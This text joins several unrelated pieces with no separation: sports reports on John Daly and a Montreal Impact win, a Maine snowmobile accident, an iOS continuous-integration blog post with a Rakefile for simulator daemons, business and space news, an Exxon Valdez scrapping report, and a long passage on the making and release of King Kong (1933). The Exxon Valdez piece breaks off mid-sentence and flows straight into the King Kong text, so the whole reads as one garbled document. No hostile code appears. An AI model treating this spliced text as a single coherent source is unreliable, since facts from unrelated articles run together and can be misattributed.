“Very calm,” is how playing partner Herm Edwards described Daly on Thursday. “He missed maybe three other putts that were really close. He just went back to the next hole and he just methodically kept going through the round.”
At 48, Daly is not the longest hitter on the PGA Tour, but he is long enough to still be competitive, if he can control the golf ball. It’s an issue that’s plagued him recently, but one that he believes he has fixed with a driver that is dialed in for him.
“I’ve always loved playing Pebble,” Daly said. “If I usually drive the ball halfway decent here, I can usually score. I’m not a great poa annua (grass) putter, but I made a couple today.”
Monterey Peninsula Country Club is next for Daly, who sits in a tie for third place, just one shot off the lead of Justin Hicks and J.B. Holmes.
Friday’s second round is just one of four, but it will set the stage for the final two at Spyglass Golf Course and then back at Pebble on Sunday.
Currently coming to tournament directors with hat in hand and looking for exemptions, what happens over the next three rounds can make a big impact on the rest of Daly’s PGA Tour career.
“Hopefully I can just keep that same rhythm that I had today,” Daly said. “I had very good rhythm that – I don’t know why or how – but I found something on the range that just 80 percent today. And it worked.”
With his game working well on the course, Daly at the same time is seeing serenity off the course.
Engaged last year to his current caddie, Anna Cladakis, Daly said he has found tranquility and it’s that peace of mind that he is rebuilding his career on.
“On and off the golf course, I couldn’t be happier in my life,” Daly said. “We’re very boring people now. We really are. But we have fun together.”Je Me Souviens, I Remember that Marco Di Vaio scored his first goal as a Montreal Impact on July 28th 2012, at Stade Saputo. I Remember when Alessandro Nesta played his first competitive MLS game with the Montreal Impact.
An electric and packed Stade Saputo '' welcomed '' the New York Red Bulls, the #1 ranked team in the Eastern Conference. A sell-out 19,441 fans filled Stade Saputo to cheer for the Impact as the home team continues to push for the 5th spot and the playoffs. After a harsh 3-0 defeat to the hand of the Houston Dynamo, the Impact recover well with a deserved 3-1 win over the Red Bulls that lined up Sebastien LeToux, Kenny Cooper and Thierry Henry.
The game started off slowly in the first half with some great chances for both sides. But it quickly picked up with 3 goals in the first 12 minutes of the second half. Goals from Marco Di Vaio and Davy Arnaud gave a 2-0 lead to the Impact early in the half. '' Titi '' cut the lead to 1 goal a few minutes later only to see Sanna Nyassi seal the deal at the 74th minute.
Club Time Player (Assisted by) MTL 48' Marco Di Vaio (Justin Mapp, Felipe Martins) MTL 50' Davy Arnaud (Felipe Martins) NY 57' Thierry Henry (Joel Lindpere, Roy Miller) MTL 74' Sanna Nyassi (Felipe Martins, Marco Di Vaio)
A sigh of relief from 19,441 fans was heard when Di Vaio finally scored his first MLS goal. We can also suspect a grin of satisfaction from Joey Saputo, Nick De Santis and Jesse Marsch to see Alessandro Nesta.
The post game talk and analysis continues after the jump
Defensive Reinforcements
Not only did Alessandro Nesta play 90 minutes but Nelson Rivas and Matteo Ferrari played respectively 78 and 12 minutes. That depth at the center back position will be helpful for what is left of the season and you can include Hassoun Camara and Shavar Thomas in the mix.
Alessandro Nesta was typically simple and efficient showing his regular confidence as he directs traffic around the back line, next to the physical beast that Nelson Rivas is. Rivas continued to combine confidence and aggressiveness while showing off some Joga Bonito skills.
Nesta did not ask twice to get involved offensively with a few nice passes, including a key pass that started the play for Davy Arnaud's goal at the 50th minute. He once again proves that positioning before anything else is key for offensive and defensive phases.
Killer Instinct
With 2 minutes between Di Vaio's and Arnaud's goal, it is not the first time that the Montreal Impact show a killer instinct in many of its games in which it took the lead. This time, the 2nd goal actually came and putting the pressure on the opponents is key to control the game. Even though New York cut the lead to 1 goal, Montreal continued to push and did not alter their intensity level or cool factor. It's almost like saying that Jesse Marsch is actually a good coach (god forbid someone says that) that commits his rookie mistakes.
It is no scoop that it is hard for Justin Mapp to play a full 90 minutes at high intensity and Jesse Marsch saw something when he took him out for Nyassi (at the 60th minute). Jan Gunnar Solli was giving too much space behind him all game long and was not the most aggressive defender out there. Putting Sanna Nyassi in would stretch out the Red Blls while bringing speed offensively and defensively.
Like in 99.99% of soccer/football games, honing on the other team's weaknesses is key and the Impact did just that throughout the game. Sanna Nyassi's beautiful goal, from setup to finish, was symbolic to that killer instinct.
Formation, Formation, Formation
4-4-2, 3-5-2, 4-2-3-1. The Montreal Impact is still not fully mature to switch formations out of the blue but has some flexibility especially when the Bernier-Felipe-Warner trio is together at the same time. Earlier in the game, Felipe was not as dangerous but that loving feeling between him and Di Vaio came back in the 2nd half. The big difference in the game was the capacity of Montreal to stick to simple soccer that include one touch passing to destabilize the NYRB unit.
Marco Di Vaio feels automatically more comfortable playing alongside Felipe. Both understand each other and combine very well with many quick cheeky passes
Ricketts or not to Ricketts
Bush or Ricketts? Ricketts or Bush? It felt like a Montreal Canadiens debate of who should be the starting goalkeeper: a legitimate debate. Jesse Marsch quickly pushed away the idea that Donovan Ricketts will not be his #1 guy for the team. Evan Bush will get his chance but Ricketts still combined some scary wobbly saves with another Save Of The Week Nominee.
Legitimacy will have to wait next season.FORT KENT, Maine — The juvenile driver of the snowmobile that struck a musher running the Can-Am Crown 30-mile race Saturday morning has been charged with operating to endanger, according to Maine Warden Adrien Marquis.
Jeffrey McRobbie, 59, of Wayne suffered multiple injuries that were not considered life-threatening, Marquis said Saturday evening.
McRobbie was mushing a team of six dogs west on the Fort Kent Heritage Trail about 10 minutes into his race when he met a group of four snowmobilers heading east, Marquis said.
The first two riders slowed down and signaled for the ones behind to slow, but the third operator was apparently blinded by snow kicked up by the snowmobiles in front of him, Marquis said.
“The 15-year-old operator did not realize he had to stop until it was too late,” Marquis said. “In an attempt to avoid the snowmobile in front of him he veered away but did not realize the musher was there and slammed into him and his sled.”
The snowmobile did not strike any of the dogs, but hit McRobbie head on.
“He basically took a snow machine to the face,” Marquis said. “He was lucky he was wearing a helmet.”
Rescue personnel used a specialized toboggan sled to transport McRobbie to a waiting ambulance at the intersection of the trail and Violette Settlement Road.
He was taken to Northern Maine Medical Center with several lacerations to his eye, multiple injuries to his left arm and injuries to a finger and was in surgery Saturday afternoon, Marquis said.
The snowmobiler is from Pennsylvania and was traveling with his father, twin brother and another family member, Marquis said.
The impact threw McRobbie off his dogsled and his team kept running down the trail for about a half mile to a mile before several spectators stopped them.
The dogs were taken back to Can-Am Central at Lonesome Pine Ski Trails in Fort Kent with no injuries, Marquis said.
The impact ripped a ski off the juvenile’s Firecat 700 snowmobile.
“I attribute the accident to speed, lack of experience and following too closely,” Marquis said, adding alcohol was not a factor.
McRobbie was wearing a GoPro video camera at the time of the accident and Marquis said the device recorded the immediate events leading up to the accident and the accident itself.
That footage has been turned over to the district attorney, Marquis said.
The warden estimated the snowmobile was traveling between 25 mph and 30 mph at the point of impact with its brakes locked in an attempt to stop.
“There are no speed limits on snowmobile trails in Maine,” Marquis said. “But this is a multiuse trail and snowmobiles need to yield to nonmotorized travelers.”
The location of the accident is one of the few sections of the trail shared by snowmobiles and dog sleds during the race and is wide enough to accommodate both, according to Can-Am Crown organizers.
Recent snowfall in northern Maine has made the area a prime snowmobile destination this past week and Marquis said the trails were unusually busy this weekend.
“Northern Maine is the only game in town for snowmobiling,” he said. “I’ve never seen a weekend like this with so many snow machines in the area.”
St. John Valley Times writer Don Eno contributed to this report.We use continuous integration on all of our iOS applications. When the tests run on the server, they are run without the iOS Simulator. This headless environment works well, but there are a few services that the simulator provides. We specifically were running into errors with UIPasteboard and EventKit.
Apple sandboxes your application for security purposes. Among other things, this restricts you from directly interacting with the devices Calendar and clipboard. In order to create or edit events, the program interacts with a calendar access daemon. Apple provides these daemons to allow a program to interact with various services. Unfortunately, these daemons are attached to the simulator and will not be running in our headless environment.
We can start these daemons ourselves before running the tests. There is a catch though; there are a few environment variables that must be set in the daemon’s plist file in order for them to start properly. For those unfamiliar with plist files, they are typically used to store settings. We can then use launchctl to load the daemon plists and start the daemons. Once the daemons are running, our tests can interact with EventKit and UIPasteboard without error.
Some notable changes we need to make to get the daemons to load properly.
Change the executable path. The daemons expect to be running from the context of the simulator. We need to convince them of that.
DYLD_ROOT_PATH – The dynamic linker path allows the daemon to interact with shared frameworks. This is similar to the LD_LIBRARY_PATH.
IPHONE_SIMULATOR_ROOT – Once again, this convinces the daemon that it is running inside the simulator.
DYLD_NO_FIX_PREBINDING and DYLD_NEW_LOCAL_SHARED_REGIONS – Configuration options for the dynamic linker.
Here is the addition to our Rakefile that we use:
namespace :daemons do desc "Update launchd files with currently configured SDK" task :configure do Dir["tools/simdaemons/*.plist"].each do |plist| current_executable_path = %x|/usr/libexec/PlistBuddy -c "Print :ProgramArguments:0" #{plist}| match_data = current_executable_path.match(/^(?:\/Developer\/Platforms\/iPhoneSimulator\.platform\/Developer\/SDKs\/iPhoneSimulator.+\.sdk\/)?(.*)$/) executable_path = File.join(SDK_DIR, match_data[1]) system(%Q[/usr/libexec/PlistBuddy -c "Delete :EnvironmentVariables" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Add :EnvironmentVariables dict" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Add :EnvironmentVariables:DYLD_ROOT_PATH string #{SDK_DIR}" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Add :EnvironmentVariables:IPHONE_SIMULATOR_ROOT string #{SDK_DIR}" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Add :EnvironmentVariables:DYLD_NO_FIX_PREBINDING string YES" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Add :EnvironmentVariables:DYLD_NEW_LOCAL_SHARED_REGIONS string YES" #{plist}]) system_or_exit(%Q[/usr/libexec/PlistBuddy -c "Set :ProgramArguments:0 #{executable_path}" #{plist}]) end end desc "Unloads, Loads, and Starts Simulator Daemons that we need for our tests" task :start do Dir["tools/simdaemons/*.plist"].each do |file| system_or_exit(%Q[launchctl unload #{file}]); system_or_exit(%Q[launchctl load #{file}]); system_or_exit(%Q[launchctl start #{File.basename(file).sub(/\.\w+$/, '')}]); end end desc "Stop Daemons" task :stop do Dir["tools/simdaemons/*.plist"].each do |file| system_or_exit(%Q[launchctl stop #{File.basename(file).sub(/\.\w+$/, '')}]); end end end
We added a directory to our project and copied over the plists provided by Apple from /Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/
iPhoneSimulator4.3.sdk/System/Library/LaunchDaemons
iPhoneSimulator4.3.sdk/System/Library/LaunchDaemons The “configure” task adds the necessary environment variables
The “start” task loads and starts the daemons
The “stop” task stops the daemons when we are done with the tests.
This code sits inside our Rakefile and will need some customization to work if you use it with your continuous integration. Hopefully this will allow you to test more aspects of your applications.(Bloomberg) -- Microsoft Corp. agreed to provide cloud-computing services for cars made by Nissan Motor Co. and Renault SA as the manufacturers push ahead with developing connected vehicles.
Microsoft will build cloud infrastructure for the two carmakers that can host navigation data and allows drivers to predict gas usage and check on their cars remotely, the Redmond, Washington-based software producer said in a statement on Monday. The U.S. company will also help Renault and Nissan, which are both run by Chief Executive Officer Carlos Ghosn, develop user interfaces for their brands. Vehicles with the new features could reach the market as early as 2018, with more than 10 models with autonomous driving technology to be available two years later.
The tie-up will be “a long-term commitment,” Jean-Philippe Courtois, head of Microsoft’s global sales, marketing and operations, said by phone.
Partnerships with technology companies are flourishing as carmakers shift their focus to self-driving technologies and digitization. Last week, the Renault-Nissan alliance said it’s acquiring French software developer Sylpheo. In March, General Motors Co. agreed to buy self-driving software maker Cruise Automation. Fiat Chrysler Automobiles NV has teamed up with Google Inc. to develop self-driving minivans, while BMW AG, Audi AG and Daimler AG bought Nokia’s maps business to improve their location services, a key feature of automated-driving technology.
“In order to be leading in the space, we need to partner with the best tech companies,” Ogi Redzic, Renault-Nissan’s head of connectivity services, said by phone.
PRIVACY CONCERNS
Connected vehicles have raised concerns that data gathered by the car could be used to track passengers’ whereabouts and get information about whom they call and what they search for on Google on the way -- bits of information that are valuable for carmakers including French producer Renault and Japanese partner Nissan, which can then offer tailored services to passengers.
The arrival of technology companies in the auto industry should be considered a threat, as new entrants may glean data from carmakers that will help them produce their own vehicles in the future, Adam Jonas, an analyst at Morgan Stanley, said in January.
Since “Microsoft is a platform provider, we are not competing with the brands,” and the software maker isn’t seeking to retain car manufacturers’ data, Courtois said.
While Microsoft is already working with car manufacturers --- including a deal to bring augmented-reality goggles to Volvo Car Group showrooms -- this is the first long-term partnership of its kind, according to Courtois.Bangalore: The Indian space agency has a contingency plan to insert its spacecraft into Mars orbit on 24 September in case its main engine fails to re-start and fire, a senior official said Monday.
"In case the main liquid engine of 440 Newton (power) fails to re-start and fire to put the spacecraft (orbiter) into the intended Mars orbit, we will use the small eight thrusters of 22 Newton each located beneath the engine for orientation to salvage the mission," Indian Space Research Organisation's (ISRO) scientific secretary V. Koteswara Rao told reporters here.
The 475 kg spacecraft, with five scientific experiments on board, will enter the Mars sphere of influence Sep 22 after a 300-day voyage from the earth.
The liquid apogee engine (LAM) was switched off 4 December, 2013 after the spacecraft left the earth's sphere of influence and entered into the helios-centric (sun's) orbit to cruise 666 million km towards Mars during the past nine months.
The Rs.450-crore ($70 million) ambitious Mars Orbiter Mission (MOM) was launched 5 November, 2013, on board a polar rocket from spaceport Sriharikota off Bay of Bengal, about 80 km northeast of Chennai, and inserted into the trans-Martian orbit (solar orbit) 1 December.
The space agency uses the LAM engines to insert its communication and other utility satellites in the geosynchronous orbits.
"If we miss the opportunity to insert the spacecraft into the Mars orbit using the LAM engine in 24 minutes, we will use the eight thrusters to carry out the contingency in a longer duration though the spacecraft may not get into the intended orbit," Rao noted.
Of the 51 missions to Mars by the American, Russian and European space agencies over the decades, at least nine of them failed to insert their spacecraft into the Mars orbit.
IANS
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.The ship responsible for one of history's worst environment disasters -- the 1989 Exxon Valdez oil spill off Alaska rumbled on to the tide-flooded Alang ship recycling yard in Gujarat at exactly 4 pm on Thursday, never to sail again.
Neatly positioned behind two, orange-coloured chemical tankers a third each of it's size, the vessel dropped anchor five minutes later and cut it's engine within another five.
As the high tide dropped back sometime afterwards, it's 15-member crew walked ashore after three days short of four months since they boarded the vessel on it's uncertain last voyage.
The ill-fated vessel, however, almost maintained it's luck till the end.
Originally scheduled to beach on Wednesday afternoon, it was postponed because the ship's anchor got stuck in the mud just two nautical miles offshore, where it was stationed the previous evening.
The 228 m long, 34,399 ton (without cargo) ship was reserved a spot between the 10,000 ton chemical-tankers that had already been cut open, a common sight at Asia's largest graveyard for vessels, but could not occupy it as scheduled.
A shore pilot instructed Lobo Menville, to maintain the anchorage position for a second try 24 hours later and pick up it's anchor at 11.30 am Thursday, readying itself to beach.
Anchor was lifted at 9 am on Thursday, however, and by 11 am, strong currents in the Gulf of Khambat had taken the vessel six nautical miles north - thus began four gruelling hours of navigation towards the plot once more.
By noon, though, the mood was upbeat - second captain Samir Basul, who boarded with the crew on April 4 and meanwhile missed his infant daughter's birthday, wrote on his facebook status: "Weather superfine; anchor's up and v r drifting in area, high tide at 4 pm, shall be home tomorrow. Thanks everybody."
By 3 pm, captain Menville radioed the shore captain, asking how the anchor should be dropped - the vessel was to start to toward shore soon.
More than 23 years earlier on March 24, 1989, captain Menville's predecessor Joseph Hazelwood radioed the US Coast Guard just after midnight and told them the oil-tanker could not move the ship had run aground and spilled it's cargo.
Estimated to be about 2.5 lakh barrels, the oil-spill eventually covered almost 26,000 sq kms of open ocean and 2,414 kms of shoreline, drenching in oil 18 environmentally sensitive areas and killing more than two lakh wild creatures including sea-birds, otters, seals, bald eagles and killer whales, |
painstaking and difficult to achieve and complete after the special effects crew realized that they could not stop, because it would make the movements of the creatures seem inconsistent and the lighting would not have the same intensity over the many days it took to fully animate a finished sequence. A device called the surface gauge was used in order to keep track of the stop-motion animation performance. The iconic fight between Kong and the Tyrannosaurus took seven weeks to be completed. O'Brien's protegé, Ray Harryhausen, who would work with him on several films and become one of the most prominent stop-motion animators in Hollywood, stated that O'Brien's second wife noticed that there was so much of her husband in Kong.
The backdrop of Skull Island seen when the Venture crew first arrive was painted on glass by matte painters Henry Hillinck, Mario Larrinaga and Byron C. Crabbé. The scene was then composted with separate bird elements and rear projected behind the ship and the actors. The background of the scenes in the jungle (a miniature set) were also painted on several layers of glass to convey the illusion of deep and dense jungle foliage.[39]
The most difficult task for the special effects artists to achieve was to make live-action footage interact with separately filmed stop-motion animation – to make the interaction between the humans and the creatures of the island seem believable. The most simple of these effects were accomplished by exposing part of the frame, then running the same piece of the film through the camera again by exposing the other part of the frame with a different image. The most complex shots, where the live-action actors interacted with the stop-motion animation, were achieved via two different techniques, the Dunning process and the Williams process, in order to produce the effect of a travelling matte.[40] The Dunning process, invented by cinematographer Carroll H. Dunning, employed the use of blue and yellow lighting, filtered and photographed into black-and-white film. Bi packing of the camera was used for these types of effects. With it, the special effects crew could combine two strips of different film at the same time, creating the final composite shot in the camera.[41] It was used in the climactic scene where one of the Curtiss Helldiver planes attacking Kong crashes from the top of the Empire State Building, and in the scene where natives are running through the foreground, while Kong is fighting other natives at the wall.
On the other hand, the Williams process, invented by cinematographer Frank D. Williams, did not require a system of colored lights and could be used for wider shots. It was used in the scene where Kong is shaking the sailors off the log, as well as the scene where Kong pushes the gates open. The Williams process did not use bipacking, but rather an optical printer, the first such device that synchronized a projector with a camera, so that several strips of film could be combined into a single composited image. Through the use of the optical printer, the special effects crew could film the foreground, the stop-motion animation, the live-action footage, and the background, and combine all of those elements into one single shot.[42] The optical printer would continue to be used for films until the late 1980s, when they were superseded by digital compositing.
Another technique that was used in combining live actors and stop-motion animation was rear-screen projection. The actor would have a translucent screen behind him where a projector would project footage onto the back of the translucent screen.[43] The translucent screen was developed by Sidney Saunders and Fred Jackman, who received a Special Achievement Oscar. It was used in the famous scene where Kong and the Tyrannosaurus fight while Ann watches from the branches of a nearby tree. The stop-motion animation was filmed first. Fay Wray then spent a twenty-two hour period sitting in a fake tree acting out her observation of the battle, which was projected onto the translucent screen while the camera filmed her witnessing the projected stop-motion battle. She was sore for days after the shoot. The same process was also used for the scene where sailors from the Venture kill a Stegosaurus.
O'Brien and his special effects crew also devised a way to use rear-projection in miniature sets. A tiny screen was built into the miniature onto which live-action footage would then be projected.[43] A fan pumped cool air to prevent the footage that was projected from melting or catching fire. This miniature rear projection was used in the scene where Kong is trying to grab Driscoll, who is hiding in a cave. The scene where Kong puts Ann in the top of a tree switched from a puppet in Kong's hand to a projected footage of Ann sitting.
The scene where Kong fights the snake-like reptile in his lair was likely the most significant special effects achievement of the film, due to the way in which all of the elements in the sequence work together at the same time. The scene was accomplished through the use of a miniature set, stop-motion animation for Kong, background matte paintings, real water, foreground rocks with bubbling mud, smoke and two miniature rear screen projections of Driscoll and Ann.
Over the years, some media reports have alleged that in certain scenes Kong was played by an actor wearing a gorilla suit.[44][45] However, film historians have generally agreed that all scenes involving Kong were achieved with animated models.[46][47]
Live-action scenes [ edit ]
King Kong was filmed in several stages over an eight-month period. Some actors had so much time between their Kong periods that they were able to fully complete work on other films. Cabot completed Road House and Wray appeared in the horror films Dr. X and Mystery of the Wax Museum. She estimated she worked for ten weeks on Kong over its eight-month production.[citation needed]
In May and June 1932, Cooper directed the first live-action Kong scenes on the jungle set built for The Most Dangerous Game. Some of these scenes were incorporated into the test reel later exhibited for the RKO board. The script was still in revision when the jungle scenes were shot and much of the dialogue was improvised. The jungle set was scheduled to be struck after Game was completed, so Cooper filmed all of the other jungle scenes at this time. The last scene shot was that of Driscoll and Ann racing through the jungle to safety following their escape from Kong's lair.[citation needed]
In July 1932, the native village was readied while Schoedsack and his crew filmed establishing shots in the harbor of New York City. Curtiss F8C-5/O2C-1 Helldiver war planes taking off and in flight were filmed at a U.S. Naval airfield on Long Island. Views of New York City were filmed from the Empire State Building for backgrounds in the final scenes and architectural plans for the mooring mast were secured from the building's owners for a mock-up to be constructed on the Hollywood sound stage.[48]
King Kong views Ann on the limb of a tree
In August 1932, the island landing party scene and the gas bomb scene were filmed south of Los Angeles on a beach at San Pedro, California. All of the native village scenes were then filmed on the RKO-Pathé lot in Culver City with the native huts recycled from Bird of Paradise (1932). The great wall in the island scenes was a hand-me-down from DeMille's The King of Kings (1927) and dressed up with massive gates, a gong, and primitive carvings. The scene of Ann being led through the gates to the sacrificial altar was filmed at night with hundreds of extras and 350 lights for illumination. A camera was mounted on a crane to follow Ann to the altar. The Culver City Fire Department was on hand due to concerns that the set might go up in flames from the many native torches used in the scene. The wall and gate were destroyed in 1939 for Gone With the Wind's burning of Atlanta sequence. Hundreds of extras were once again used for Kong's rampage through the native village, and filming was completed with individual vignettes of mayhem and native panic.
Meanwhile, the scene depicting a New York woman being dropped to her apparent death from a hotel window was filmed on the sound stage using the articulated hand. At the same time, a scene depicting poker players surprised by Kong's face peering through a window was filmed using the 'big head', although the scene was eventually dropped.[49] When filming was completed, a break was scheduled to finish construction of the interior sets and to allow screenwriter Ruth Rose time to finish the script.
In September–October 1932, Schoedsack returned to the sound stage after completing the native village shoots in Culver City. The decks and cabins of the Venture were constructed and all the live-action shipboard scenes were then filmed. The New York scenes were filmed, including the scene of Ann being plucked from the streets by Denham, and the diner scene. Following completion of the interior scenes, Schoedsack returned to San Pedro and spent a day on a tramp steamer to film the scene of Driscoll punching Ann, and various atmospheric harbor scenes. The Shrine Auditorium in Los Angeles was rented for one day to film the scenes where Kong is displayed in chains and the backstage theater scenes following his escape.[50] Principal photography wrapped at the end of October 1932 with the filming of the climax wherein Driscoll rescues Ann at the top of the Empire State Building. Schoedsack's work was completed and he headed to Syria to film outdoor scenes for Arabia, a project that was never completed.[51]
In December 1932 – January 1933, the actors were called back to film a number of optical effects shots which were mostly rear-screen projections.[citation needed] Technical problems inherent in the process made filming difficult and time-consuming. Wray spent most of a twenty-two hour period sitting in a fake tree to witness the battle between Kong and a Tyrannosaurus. She was sore for days after. Many of the scenes featuring Wray in the articulated hand were filmed at this time.[citation needed] In December, Cooper re shot the scene of the female New Yorker falling to her death. Stunt doubles were filmed for the water scenes depicting Driscoll and Ann escaping from Kong. A portion of the jungle set was reconstructed to film Denham snagging his sleeve on a branch during the pursuit scene. Originally, Denham ducked behind a bush to escape danger, but this was later considered cowardly and the scene was re shot. The final scene was originally staged on the top of the Empire State Building, but Cooper was dissatisfied and re shot the scene with Kong lying dead in the street with the crowd gathered about him.[citation needed]
Murray Spivack provided the sound effects for the film. Kong's roar was created by mixing the recorded roars of zoo lions and tigers, subsequently played backwards slowly. Spivak himself provided Kong's "love grunts" by grunting into a megaphone and playing it at a slow speed. For the huge ape's footsteps, Spivak stomped across a gravel-filled box with plungers wrapped in foam attached to his own feet, while the sounds of his chest beats were recorded by Spivak hitting his assistant (who had a microphone held to his back) on the chest with a drumstick. Spivak created the hisses and croaks of the dinosaurs with an air compressor for the former and his own vocals for the latter. The vocalizations of the Tyrannosaurus were additionally mixed in with puma screams. Bird squawks were used for the Pteranodon. Spivak also provided the numerous screams of the various sailors. Fay Wray herself provided all of her character's screams in a single recording session.[52][53]
For budget reasons, RKO decided not to have an original film score composed, instead instructing composer Max Steiner to simply reuse music from other films. Cooper thought the film deserved an original score and paid Steiner $50,000 to compose it. Steiner completed the score in six weeks and recorded it with a 46-piece orchestra. The studio later reimbursed Cooper.[54] The score was unlike any that came before and marked a significant change in the history of film music. King Kong's score was the first feature-length musical score written for an American "talkie" film, the first major Hollywood film to have a thematic score rather than background music, the first to mark the use of a 46-piece orchestra, and the first to be recorded on three separate tracks (sound effects, dialogue, and music). Steiner used a number of new film scoring techniques, such as drawing upon opera conventions for his use of leitmotifs.[55]
Release [ edit ]
King Kong (1:31) Trailer for the 1938 re-release of(1:31)
King Kong held its world premiere at held its world premiere at Grauman's Chinese Theater
King Kong opened at the 6,200-seat Radio City Music Hall in New York City and the 3,700-seat RKO Roxy across the street on Thursday, March 2, 1933. The film was preceded by a stage show called Jungle Rhythms. Crowds lined up around the block on opening day, tickets were priced at $.35 to $.75, and, in its first four days, every one of its ten-shows-a-day were sold out – setting an all-time attendance record for an indoor event. Over the four-day period, the film grossed $89,931.[56][57]
The film had its official world premiere on March 23, 1933 at Grauman's Chinese Theater in Hollywood. The 'big head bust' was placed in the theater's forecourt and a seventeen-act show preceded the film with The Dance of the Sacred Ape performed by a troupe of African American dancers the highpoint. Kong cast and crew attended and Wray thought her on-screen screams distracting and excessive. The film opened nationwide on April 10, 1933, and worldwide on Easter Day in London, England.[56][58]
It was re-released in 1938, 1942, 1946, 1952 and 1956.[57]
Reception [ edit ]
On Rotten Tomatoes, the film holds an approval rating of 98% based on 56 reviews, with a weighted average rating of 9/10. The site's critical consensus reads, "King Kong explores the soul of a monster – making audiences scream and cry throughout the film – in large part due to Kong's breakthrough special effects."[59] On Metacritic the film has a weighted average score of 90 out of 100, based on 12 critics, indicating "Universal acclaim".[60]
Variety thought the film was a powerful adventure.[61] The New York Times gave readers an enthusiastic account of the plot and thought the film a fascinating adventure.[62] John Mosher of The New Yorker called it "ridiculous", but wrote that there were "many scenes in this picture that are certainly diverting".[63] The New York World-Telegram said it was "one of the very best of all the screen thrillers, done with all the cinema's slickest camera tricks".[64] The Chicago Tribune called it "one of the most original, thrilling and mammoth novelties to emerge from a movie studio."[65]
On February 3, 2002, Roger Ebert included King Kong in his "Great Movies" list, writing that "In modern times the movie has aged, as critic James Berardinelli observes, and 'advances in technology and acting have dated aspects of the production.' Yes, but in the very artificiality of some of the special effects, there is a creepiness that isn't there in today's slick, flawless, computer-aided images.... Even allowing for its slow start, wooden acting and wall-to-wall screaming, there is something ageless and primeval about "King Kong" that still somehow works."[66]
Box office [ edit ]
The film was a box office success making about $2 million in worldwide rentals on its initial release, with an opening weekend estimated at $90,000. Receipts fell by up to 50% in the second week of the film's release because of the national "bank holiday" called in President Franklin D. Roosevelt's first days in office.[67] During the film's first run it made a profit of $650,000.[3]
Prior to the 1952 re-release, the film is reported to have worldwide rentals of $2,847,000 including $1,070,000 from the United States and Canada and profits of $1,310,000.[3] After the 1952 re-release, Variety estimated the film had made an additional $1.6 million in the United States and Canada taking its total to $3.9 million in cumulative domestic (United States and Canada) rentals.[68] Profits from the 1952 re-release were estimated by the studio at $2.5 million.[3]
Racism allegation [ edit ]
In the 19th and early 20th century, people of African descent were commonly visually represented as ape-like, a metaphor that fitted racist stereotypes, further bolstered by the emergence of scientific racism.[69] Early blockbuster films frequently mirrored racial tensions. While King Kong is often compared to the story of Beauty and the Beast, many film scholars have argued that the film was a cautionary tale about interracial romance, in which the film's "carrier of blackness is not a human being, but an ape".[70][71] Cooper and Schoedsack rejected any allegorical interpretations, insisting in interviews that the film's story contained no hidden meanings.[72]
Awards and honors [ edit ]
Kong did not receive any Academy Awards nominations. Selznick wanted to nominate O'Brien and his crew for a special award in visual effects but the Academy declined. Such a category did not exist at the time and would not exist until 1938. Sidney Saunders and Fred Jackman received a special achievement award for the development of the translucent acetate/cellulose rear screen – the only Kong-related award.[73]
The film has since received some significant honors. In 1975, Kong was named one of the 50 best American films by the American Film Institute, and, in 1991, the film was deemed "culturally, historically and aesthetically significant" by the Library of Congress and selected for preservation in the United States National Film Registry.[74] In 1998, the AFI ranked the film #43 on its list of the 100 greatest movies of all time.[75]
American Film Institute Lists
Re-releases, censorship and restorations [ edit ]
King Kong was re-released in 1938, 1942, 1946, 1952 and 1956; each time to great box office success.[76] Stricter decency rules had been put into effect in Hollywood since its 1933 premiere and each time it was censored further, with several scenes being either trimmed or excised altogether.
These scenes were as follows:[77]
A Brontosaurus mauling crewmen in the water, chasing one up a tree and killing him;
mauling crewmen in the water, chasing one up a tree and killing him; Kong undressing Ann Darrow and sniffing his fingers;
Kong biting and stepping on natives when he attacks the village;
Kong biting a reporter in New York;
Kong mistaking a sleeping woman for Ann and dropping her to her death, after realizing his mistake.
An additional scene portraying giant insects, spiders, a lizard and a tentacled creature devouring the crew members shaken off the log by Kong into the floor of the canyon below was deemed too gruesome by RKO even by pre-Code standards, and thus the scene was studio self-censored prior to original release. Though searched for, the footage is now considered "lost forever" with only a few stills and pre-production drawings[ citation needed ]
After the 1956 re-release, the film was sold to television (first being broadcast March 5, 1956).[78]
RKO had failed to preserve copies of film's negative or release prints with the excised footage, and the cut scenes were considered lost for years. In 1969, a 16mm print, including the censored footage, was found in Philadelphia. The cut scenes were added to the film, restoring it to its original theatrical running time of 100 minutes. This version was re-released to art houses by Janus Films in 1970.[77]
Over the next two decades, Universal Studios carried out further photochemical restoration on King Kong. This was based on a 1942 release print, with missing censor cuts taken from a 1937 print, which "contained heavy vertical scratches from projection."[79] An original release print located in the UK in the 1980s was found to contain the cut scenes in better quality.
After a 6-year worldwide search for the best surviving materials, a further, fully digital, restoration utilizing 4K resolution scanning was completed by Warner Bros. in 2005.[80] This restoration also had a 4-minute overture added, bringing the overall running time to 104 minutes. King Kong was also, somewhat controversially, colorized in the late 1980s for television.[81]
Home media [ edit ]
In 1984, King Kong was one of the first films to be released on LaserDisc by the Criterion Collection, and was the very first movie to have an audio commentary track included. Criterion's audio commentary was by film historian Ron Haver; in 1985 Image Entertainment released another LaserDisc, this time with a commentary by film historian and soundtrack producer Paul Mandell. The Haver commentary was preserved in full on the FilmStruck streaming service.
King Kong had numerous VHS and LaserDisc releases of varying quality prior to receiving an official studio release on DVD. Those included a Turner 60th anniversary edition in 1993 featuring a front cover which had the sound effect of Kong roaring when his chest was pressed. It also included the colorized version of the film and a 25-minute documentary, It Was Beauty Killed the Beast (1992). The documentary is also available on two different UK King Kong DVDs, while the colorized version is available on DVD in the UK and Italy.[82] Warner Home Video re-released the black and white version on VHS with the 25-minute documentary included under the Warner Bros. Classics label in 1999.
